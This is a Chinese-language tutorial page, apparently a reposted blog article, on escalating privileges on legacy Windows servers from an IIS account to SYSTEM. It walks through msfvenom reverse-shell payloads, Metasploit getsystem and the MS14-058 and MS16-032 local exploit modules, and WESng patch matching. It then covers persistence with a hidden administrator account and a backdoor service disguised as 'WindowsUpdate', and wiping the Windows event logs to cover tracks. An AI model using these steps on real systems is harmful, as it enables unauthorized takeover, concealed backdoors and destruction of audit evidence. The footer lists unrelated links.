当前位置: 首页 > news >正文

从IIS用户到System:手把手教你用MSF和WESng搞定老旧Windows服务器提权

从IIS低权限到System:老旧Windows服务器提权实战指南

老旧Windows服务器在企业内网中依然常见,它们往往运行着关键业务系统,却因为各种原因未能及时更新补丁。作为一名安全工程师,我曾在一次渗透测试中遇到一台Windows Server 2003服务器,通过IIS漏洞获得了webshell,但权限仅限于IIS应用程序池账户。本文将分享如何在这种场景下,通过系统化方法实现权限提升。

1. 环境准备与初始访问

在开始提权操作前,需要做好充分的准备工作。攻击机通常选择Kali Linux,因为它预装了Metasploit框架等渗透测试工具。对于老旧Windows服务器,以下几个关键点需要特别注意:

  • 系统版本识别:通过systeminfo命令获取详细的系统版本和已安装补丁
  • 网络环境确认:确保攻击机与目标服务器之间的网络连通性
  • 权限初步评估:使用whoamiwhoami /priv命令确认当前权限级别

提示:老旧系统往往存在共享目录写入权限问题,C:\RECYCLER\、C:\Windows\Temp\等目录通常是可写的理想位置。

生成Meterpreter反向TCP载荷的典型命令如下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=<监听端口> -f exe -o /var/www/html/shell.exe

2. 自动化提权尝试与失败分析

获得初始shell后,第一反应往往是尝试自动化提权。Metasploit提供了getsystem命令,它尝试多种技术来提升权限:

  1. 命名管道模拟(Named Pipe Impersonation)
  2. 命名管道DLL注入(Named Pipe DLL Injection)
  3. 令牌复制(Token Duplication)
  4. 服务权限提升(Service Permissions)

常见失败原因分析

失败现象可能原因解决方案
ERROR: Operation failed: Access is deniedUAC限制尝试绕过UAC或使用其他提权模块
No technique worked系统加固手动检查补丁情况
Session is not elevated会话问题迁移到稳定进程

getsystem失败时,需要转向手动提权路径。这时应该:

# 查看当前权限 getuid # 检查可用权限 getprivs # 列出进程寻找注入目标 ps

3. 补丁分析与漏洞匹配

对于老旧Windows系统,补丁缺失是最常见的提权突破口。WESng(Windows Exploit Suggester - Next Generation)是一个强大的工具,它能根据systeminfo输出分析缺失的补丁。

WESng使用流程

  1. 在目标机器上执行:
    systeminfo > systeminfo.txt
  2. 将结果文件传输到攻击机
  3. 运行WESng分析:
    python wes.py systeminfo.txt -m --os "Windows Server 2003"

WESng输出的关键信息包括:

  • 缺失的KB编号:对应特定的安全补丁
  • CVE编号:漏洞的唯一标识
  • 可利用性评估:是否已有公开的利用代码

高危漏洞优先级排序

  1. 内核级漏洞(如ms14_058)
  2. 服务漏洞(如ms15_051)
  3. 本地提权漏洞(如ms16_032)
  4. 第三方软件漏洞

4. 手动提权模块选择与利用

根据WESng的分析结果,可以有针对性地选择Metasploit中的提权模块。以下是针对不同漏洞的典型利用流程:

4.1 MS14-058内核提权

# 搜索相关模块 search ms14_058 # 使用提权模块 use exploit/windows/local/ms14_058_track_popup_menu # 设置会话 set SESSION <session_id> # 执行攻击 exploit

4.2 MS16-032服务提权

use exploit/windows/local/ms16_032_secondary_logon_handle set SESSION <session_id> set LHOST <攻击机IP> exploit

4.3 其他常见提权技术

  • AlwaysInstallElevated:检查注册表中是否启用了非特权安装
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  • 服务配置不当:查找可写服务路径
    accesschk.exe -uwcqv "Authenticated Users" *
  • 计划任务:检查可执行文件权限
    schtasks /query /fo LIST /v

5. 权限维持与清理痕迹

成功提权后,需要采取措施维持访问权限并清理痕迹:

持久化技术

  1. 创建隐藏账户:
    net user /add stealthuser complexpassword$ net localgroup administrators stealthuser /add
  2. 安装后门服务:
    sc create "WindowsUpdate" binPath= "cmd.exe /k C:\backdoor.exe" start= auto

痕迹清理建议

  • 删除上传的工具和payload
  • 清理事件日志:
    wevtutil cl System wevtutil cl Security wevtutil cl Application
  • 恢复修改的注册表项

在实际渗透测试中,我曾遇到一台Windows Server 2008 R2系统,通过分析发现缺失MS15-051补丁,使用对应的提权模块成功获得SYSTEM权限。关键是要有耐心,逐步排查每个可能的突破口。

http://www.jsqmd.com/news/570129/

相关文章:

  • 2026年西安家装专业企业哪家好,知名品牌企业推荐 - 工业品网
  • ReplaceItems:4个颠覆级技巧让设计师效率提升8倍
  • 从服务激活到角色授权:完整搭建 SAP Fiori Launch Page 的实战指南
  • 箭头函数继承外层 this 详解
  • Gemini 3.1镜像深度推理实战:解构多模态长视频理解与结构化知识抽取
  • FPGA数字钟课程设计还能这么玩?从基础功能到智能扩展(附完整工程文件)
  • DeOldify企业级应用:构建自动化老照片修复平台
  • 告别QtCreator!用VSCode+Qt 5.14.2开发GUI应用,这份保姆级配置指南请收好
  • 青岛西装定制哪家靠谱?2026五大品牌硬核数据对比,谁更专业一目了然 - 速递信息
  • ORCAD/pspice仿真技巧:如何高效绘制电路的幅频与相频特性曲线
  • IGV基因组可视化实战:从BAM到TDF的高效转换技巧
  • Hunyuan-MT-7B部署教程:Pixel Language Portal在国产操作系统(OpenEuler)兼容性验证
  • react(二)useEffect 和 useRef
  • YOLO12在智能相册中的应用:自动标注80类常见物体,解放双手
  • 探讨西安做侘寂风装修公司,哪家口碑好值得推荐 - myqiye
  • 71款移动应用隐私违规,个人信息安全谁来守护?
  • LaTeX与丹青识画结合:自动化生成学术论文中的艺术品分析报告
  • 007-PDF处理实战:解析、合并与加密自动化
  • 水质分析仪哪家质量好?哪家靠谱?哪个品牌好?青岛格林诺尔水质分析仪的检测原理与核心优势 - 品牌推荐大师
  • 2026年技术革新|深度解析青岛格林诺尔烟气分析仪的核心技术——紫外差分吸收光谱 - 品牌推荐大师
  • JetBrains IDE + Luma MCP:为你的项目生成 AI 视频
  • LeetCode 2751. 机器人碰撞 详细技术解析(栈模拟+排序)
  • Pixel Dimension Fissioner 微信小程序集成开发:打造个人像素头像生成工具
  • 【PLM合集】190余份PLM产品生命周期管理方案、可行性研究报告、ERP、CRM、MES、OA、SRM、WMS、APS系统集成方案
  • Intv_AI_MK11 集成 MySQL 数据库:智能客服对话数据存储与查询实战
  • ffmpegGUI:让专业视频处理触手可及的跨平台工具
  • AI时代:重塑核心竞争力
  • 别再只让电机转起来了!用ESP32读取霍尔编码器,给你的推杆项目加上‘眼睛’和‘大脑’
  • 保姆级教程:在Windows 10/11上搞定IAR 8.10 for 8051开发环境(附CC2530工程编译验证)
  • LFM2.5-1.2B-Thinking-GGUF快速部署:仅需1条命令启动32K上下文服务